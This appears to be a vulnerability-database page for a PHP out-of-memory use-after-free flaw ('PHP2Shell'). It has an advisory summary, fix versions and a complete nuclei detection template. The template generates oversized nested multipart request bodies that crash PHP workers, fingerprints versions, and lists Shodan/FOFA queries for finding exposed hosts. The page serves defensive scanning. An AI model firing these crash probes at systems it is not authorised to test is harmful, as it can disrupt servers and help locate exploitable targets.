Browse / CVEs / CVE-2026-109618
CVE-2026-109618· php / php· CWE-416
PHP2Shell (CVE-2026-109618/CVE-2026-109619) - Active Crash Detection
Exploited in the wild. Listed by CISA on 2026-10-26; known to be used by ransomware.
PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
Impact
Affected PHP installations may allow an unauthenticated attacker to corrupt process memory, disclose sensitive worker memory, or achieve remote code execution as the web worker account.
Fix
Upgrade to PHP 8.2.35, 8.3.36, 8.4.27, 8.5.12, or later. PHP 8.1 and older are end-of-life upstream; upgrade to a supported branch or apply vendor backports for both CVE-2026-109618 and CVE-2026-109619.
How to confirm it
Send: POST /
Positive when: true
Send: POST /
Positive when: contains(body, "Allowed memory size of") && contains(body, "bytes exhausted") && contains(body, "Unknown")
Send: GET /
Positive when: version_verdict == "true" OR version_verdict == "eol"Run it with nuclei: nuclei -id CVE-2026-109618 -u <target>
The full check
id: CVE-2026-109618
info:
name: PHP2Shell (CVE-2026-109618/CVE-2026-109619) - Active Crash Detection
author: lcfr_hax,assetnote,princechaddha,s4e-io
severity: critical
description: |
PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
impact: |
Affected PHP installations may allow an unauthenticated attacker to corrupt process memory, disclose sensitive worker memory, or achieve remote code execution as the web worker account.
remediation: |
Upgrade to PHP 8.2.35, 8.3.36, 8.4.27, 8.5.12, or later. PHP 8.1 and older are end-of-life upstream; upgrade to a supported branch or apply vendor backports for both CVE-2026-109618 and CVE-2026-109619.
reference:
- https://www.php.net/index.php#2026-10-21-5
- https://www.php.net/archive/2026.php
- https://cert.europa.eu/publications/security-advisories/2026-018
- https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
- https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
- https://www.wiz.io/blog/php2shell-php-rce
- https://github.com/assetnote/php2shell-scanner
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.2
cve-id: CVE-2026-109618
epss-score: 0.99999
epss-percentile: 0.99999
cwe-id: CWE-416
cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 5
vendor: php
product: php
shodan-query: 'http.component:"PHP"'
fofa-query: 'header="X-Powered-By: PHP"'
tags: cve,cve2026,php,php2shell,rce,intrusive,vkev,kev
flow: |
function repeatStr(s, n) {
var r = '';
while (n > 0) {
if (n & 1) r += s;
s += s;
n >>= 1;
}
return r;
}
function buildProbe(sizeMib, parts) {
var size = sizeMib * 1048576;
var nested = repeatStr('[a]', 62);
var part = '--\nContent-Disposition:name=a[]' + nested + ';filename=\n\n';
var base = repeatStr(part, parts);
var fillerCount = Math.floor((size - base.length) / 3);
var filler = repeatStr('x:\n', fillerCount);
var body = '--\n' + filler + base.substring(3);
return body.substring(0, body.length - 1);
}
function versionVerdict(v) {
if (!v) return null;
var m = v.match(/^(\d+)\.(\d+)\.(\d+)(.*)$/);
if (!m) return null;
var major = parseInt(m[1]), minor = parseInt(m[2]), patch = parseInt(m[3]);
if (major < 8 || (major === 8 && minor < 2)) return 'EOL';
var fixed = {'8.2': 35, '8.3': 36, '8.4': 27, '8.5': 12};
var key = major + '.' + minor;
if (!(key in fixed)) return null;
if (patch < fixed[key]) return 'VULNERABLE';
if (patch === fixed[key] && /^[-_.]?(dev|alpha|beta|rc)/i.test(m[4])) return 'VULNERABLE';
return 'FIXED';
}
var PROBES = [[1, 4000], [8, 1020], [20, 1020]];
var REJECTED = {400:1, 403:1, 411:1, 413:1, 414:1, 417:1, 422:1, 429:1, 431:1};
http('control');
var ctrlStatus = parseInt(template['ctrl_status']);
if (!ctrlStatus) {
} else if (ctrlStatus >= 500) {
} else {
var poweredBy = template['ctrl_powered_by'] || '';
var matchedPHPError = false;
for (var i = 0; i < PROBES.length; i++) {
set('probe_body', buildProbe(PROBES[i][0], PROBES[i][1]));
var matched = http('probe');
if (template['probe_powered_by']) {
poweredBy = template['probe_powered_by'];
}
if (matched) {
matchedPHPError = true;
break;
}
var probeStatus = parseInt(template['probe_status']);
if (probeStatus in REJECTED) {
break;
}
if (versionVerdict(poweredBy) === 'FIXED') {
break;
}
}
var verdict = versionVerdict(poweredBy);
var distroBuild = /ubuntu|deb|\.el[0-9]|\.fc[0-9]|amzn|\.al[0-9]|remi|sury/i.test(poweredBy) ||
/\((?:Ubuntu|Debian|Red Hat|CentOS|Rocky|AlmaLinux|Amazon|SUSE)\)/i.test(template['ctrl_server'] || '');
if (distroBuild && verdict === 'VULNERABLE') {
verdict = null;
}
if (!matchedPHPError && (verdict === 'VULNERABLE' || verdict === 'EOL')) {
set('version_verdict', verdict === 'EOL' ? 'eol' : 'true');
set('powered_by_ver', poweredBy);
http('version-verdict');
}
}
http:
- id: control
raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=x
Connection: close
--x
Content-Disposition:name=a;filename=
matchers:
- type: dsl
dsl:
- "true"
internal: true
extractors:
- type: dsl
name: ctrl_status
dsl:
- "status_code"
internal: true
- type: regex
name: ctrl_powered_by
part: header
group: 1
regex:
- '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+[^\s;,)]*)'
internal: true
- type: regex
name: ctrl_server
part: header
group: 1
regex:
- '(?im)^Server:\s*([^\r\n]+)'
internal: true
- id: probe
raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=
Connection: close
{{probe_body}}
matchers:
- type: dsl
name: memory-exhaustion
dsl:
- 'contains(body, "Allowed memory size of") && contains(body, "bytes exhausted") && contains(body, "Unknown")'
extractors:
- type: dsl
name: probe_status
dsl:
- "status_code"
internal: true
- type: regex
name: probe_powered_by
part: header
group: 1
regex:
- '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+[^\s;,)]*)'
internal: true
- type: regex
name: version
part: header
group: 1
regex:
- '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+(?:(?:[-+~_A-Za-z]|\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \t;,)\r]|$)'
- id: version-verdict
raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers:
- type: dsl
name: version-vulnerable-no-crash
dsl:
- 'version_verdict == "true"'
- type: dsl
name: version-eol-branch
dsl:
- 'version_verdict == "eol"'
extractors:
- type: regex
name: version
part: header
group: 1
regex:
- '(?im)^(?:X-Powered-By|Server):[^\r\n]*\bPHP/([0-9]+\.[0-9]+\.[0-9]+(?:(?:[-+~_A-Za-z]|\.[A-Za-z])[0-9A-Za-z._+~-]*)?)(?:[ \t;,)\r]|$)'References
- https://www.php.net/index.php#2026-10-21-5
- https://www.php.net/archive/2026.php
- https://cert.europa.eu/publications/security-advisories/2026-018
- https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
- https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
- https://www.wiz.io/blog/php2shell-php-rce
- https://github.com/assetnote/php2shell-scanner
Use this check only on systems you are authorised to test. Where the data comes from